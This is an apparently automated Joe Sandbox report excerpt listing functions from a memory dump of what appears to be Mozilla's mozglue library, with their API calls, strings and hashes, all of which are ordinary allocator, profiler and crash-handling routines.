Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction ID: 5fe8a1f7c2f34ded7ed99f90654e1aab18f07058040ac8ae15c4fa3918aafc08
Opcode Fuzzy Hash: c41c7545e6ad78a29c8c240b861578057259ab3b6d5a151d29e0d6efaccf09a8
Instruction Fuzzy Hash: 5F3178B1A003159FDB10DF798C44AABBBF8EF54614F15442DE84AE7700EB34E804C7A1

Function 6C9B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9CDCA0,?,?,?,6C98E8B5,00000000), ref: 6C9B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C98E8B5,00000000), ref: 6C9B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C98E8B5,00000000), ref: 6C9B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C98E8B5,00000000), ref: 6C9B5FD6

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction ID: 36213f6c55c68a64e303c5cca6067d25d09c6f77d203819cb7b0d3ea1bc6053c
Opcode Fuzzy Hash: fcbc820f70b3d1a8ecb501618f2d77282b7f1c3dec8537d95c2cebb0234e5409
Instruction Fuzzy Hash: C6311834304A009FD711CF29C898F2AB7FAFF89319B648558E5569BB95CB31EC51CB80

Function 6C95B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C95B532
moz_xmalloc.MOZGLUE(?), ref: 6C95B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C95B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C95B57E
free.MOZGLUE(00000000), ref: 6C95B58F

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction ID: c0755dc0d183aa198474801ff678510929a968518e5b9a5eb8147a49fd1ad7e1
Opcode Fuzzy Hash: ff028db9acb863e20a2d735a66a1351bfdc2a4d5dd39a3cbbe7ca98f870984e9
Instruction Fuzzy Hash: CD210771A042059BDB00CF68CC40BAEBBB9FF56304F684129E818DB345E735D962C7A1

Function 6C95B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C95B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C95B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95B849

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction ID: de1d3826493bb016507ba8d912d73f47dc5a9a88fed1e611f49e3c45aea7d5b2
Opcode Fuzzy Hash: b29def7535a6821acf77f380aa1737859e9b3ee3411f9f72636b0ab7170f68c2
Instruction Fuzzy Hash: 2D215AB0E002099FDF04DFA9D8855BEBBB8EF59314F148169ED06B7740E731A994CBA1

Function 6C9B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9B6E78

Part of subcall function 6C9B6A10: InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6A68
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6A7D
Part of subcall function 6C9B6A10: GetCurrentProcess.KERNEL32 ref: 6C9B6AA1
Part of subcall function 6C9B6A10: EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6AAE
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6AE1
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9B6B15
Part of subcall function 6C9B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9B6B65
Part of subcall function 6C9B6A10: LeaveCriticalSection.KERNEL32(6C9DF618,?,?), ref: 6C9B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9B6EFF

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction ID: 462b598efc7c78d826c711d62852a99d19e631cb13f0d92ce9c7d8a9f0b78ed3
Opcode Fuzzy Hash: 99dc678e53562e8d79dc6ec59860ab1c62aebc59d92903a349eaaeecc0eefe5d
Instruction Fuzzy Hash: CE21A471A042199FDF04DF69D88569F77F9EF88308F044439E909A7241DB70AA58CF92

Function 6C9B76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9B7705

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9B778F,00000000,00000000,00000000,00000000), ref: 6C9B7731
free.MOZGLUE(00000000), ref: 6C9B7760

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction ID: 5c84674e65c9da30f06616976f04f23dacb155ec28ed4ae7cf1dd680d1664a06
Opcode Fuzzy Hash: a010a5dff262a2ec6c4ba7e4218f7b97598254833af0beea5fbb7265af5c81c6
Instruction Fuzzy Hash: E61190B19052156BE710AF6A8C44AABBEE8EF55754F144529F848A7200E770985087F2

Function 6C990D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C953DEF), ref: 6C990D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C953DEF), ref: 6C990D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C953DEF), ref: 6C990DAF

Strings

<jemalloc>, xrefs: 6C990D92, 6C990DB9
: (malloc) Error in VirtualFree(), xrefs: 6C990D97, 6C990DBE

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction ID: 2b1f68d59da961b7faabf52478f1b7f1a97d975c75ec0d4da8d7c678271cad7b
Opcode Fuzzy Hash: 5f53c06ca7513f696dc887395e69eb746b29cdef277021764393462c7597fde3
Instruction Fuzzy Hash: F4F02E31384B9423E720226B0C0AF5A266EA7C7F25F399035F764FE9C0DA50F4404AA6

Function 6C9A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9A75C4,?), ref: 6C9A762B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7644
GetCurrentThreadId.KERNEL32 ref: 6C9A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9A74D7,6C9B15FC,?,?,?), ref: 6C9A7677

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction ID: 9bcb35e8034d11b8f8f303c57543403b77d41cd5fe5212095cc725854529d9e4
Opcode Fuzzy Hash: 76ab2ef8ce3988ff52b44eae467c489ed848e8d3c4475d0dd79d491e7a832516
Instruction Fuzzy Hash: 14F0C871E14786ABD7008F21C848675B778FFEA259F21431AF90553601E7B0B5D087D0

Function 6C9B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9B1800

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Strings

Details, xrefs: 6C9B1925
{marker.name} - {marker.data.name}, xrefs: 6C9B18C7
name, xrefs: 6C9B1939

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction ID: 1de2c175628950b3e8329f3e1e164063d893c19d0b58e369796bb8960a16bb0a
Opcode Fuzzy Hash: 4231e0a11399b0c4c4868549376d3a8248ead0c0779888b87e3bcf2687763d52
Instruction Fuzzy Hash: E171F370A00746AFDB04CF28D4547AABBB1FF96304F144669D8156BB41D770F6A8CBE2

Function 6C9BB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?,?,6C9BAB1F), ref: 6C9BB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010,00000000,?), ref: 6C9BB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9BB0A6,6C9BB0A6,?,6C9BAF67,?,00000010,?,6C9BAF67,?,00000010), ref: 6C9BB25F

Strings

map/set<T> too long, xrefs: 6C9BB1FA

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction ID: 4a4603a7d1e5e7d7421034512c898cbe4ec187cd7a755dd276200a9e6f48cd4c
Opcode Fuzzy Hash: 4e0aefa0776b7e292eb929419ec296662936d41e262a54c020957fd4fa223757
Instruction Fuzzy Hash: 16619B34A04645AFD701CF19C8C0AAABBF5FF5A318F18C199D8596BB92C331ED45CBA1

Function 6C97D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751

Strings

MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction ID: f9f543cec5f736f840e44c4afaa4b3c93be4990638b3fcf7df3b732be643161b
Opcode Fuzzy Hash: 0b7aa2efba07af118b59c0234a96f7df558bdb328f82750e82ae65621693f3d9
Instruction Fuzzy Hash: 3251E472A09B018FD364CF28C49461AB7F5EF89704F658A2ED59AD7F84D770E840CBA1

Function 6C9A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Strings

., xrefs: 6C9A476A
profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction ID: 67011499d8f742636df381e94102677f708fd7904b0e273f046bf3f9743fba7a
Opcode Fuzzy Hash: 7d1a4bc01b6cbc658f199ac67f253fe15ef784f79cf080546d57d987c6a64946
Instruction Fuzzy Hash: E8415972E087089BCB08DFB8D85115EBBF5EF95748F20863EE85567B91EB30D8458B42

Function 6C9C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9C98D9

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction ID: 2cf4ae1a34839c51d96f1ec3af381cdd371011078c8e76c7a7e0d3eb52ce9f3d
Opcode Fuzzy Hash: 40dd1b8b40d3e8ede8825237144d63a6a122664f827e3f8db5bd0293336436b1
Instruction Fuzzy Hash: 0B310A71B002089FDB14AF59DC455EE77A9DF54718F50846DEA06ABB80DB31E904CBD2

Function 6C9A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9A4721

Part of subcall function 6C954410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C993EBD,00000017,?,00000000,?,6C993EBD,?,?,6C9542D2), ref: 6C954444

Strings

., xrefs: 6C9A476A
profiler-paused, xrefs: 6C9A46E4
-%llu, xrefs: 6C9A4733

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction ID: 1bec9da7a1a0f8f8537b0094bf35a97c28dd057798e076457a247e29aed8c295
Opcode Fuzzy Hash: 8e513062b929a89b54a85ed2350b4cdaffecbb1bd69503736628948df1c82039
Instruction Fuzzy Hash: C2313971F043084BCB0CCFACD8812ADBBE6DB99714F55853EE8059BB41EB70D9458B51

Function 6C9AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9AB127), ref: 6C9AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9AB4E4

Strings

pid:, xrefs: 6C9AB4DE

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction ID: 7d39cca18616ff65ba02868df991634079e195447791591a041a36154c5c891f
Opcode Fuzzy Hash: d02b22acb0bc9cdb789ad10cc11b9f0c9a6c4aa96de36fec541bba084984be0b
Instruction Fuzzy Hash: A3312131A0120CDFDB00DFE9D880AEEB7B9FF05318F540529D90167A81D732E88ACBA1

Function 6C99E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99E577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E584
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C99E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C99E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C99E826, 6C99E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C99E722, 6C99E750, 6C99E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C99E655
MOZ_PROFILER_STARTUP, xrefs: 6C99E5A1, 6C99E5CC, 6C99E5FF, 6C99E62A

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
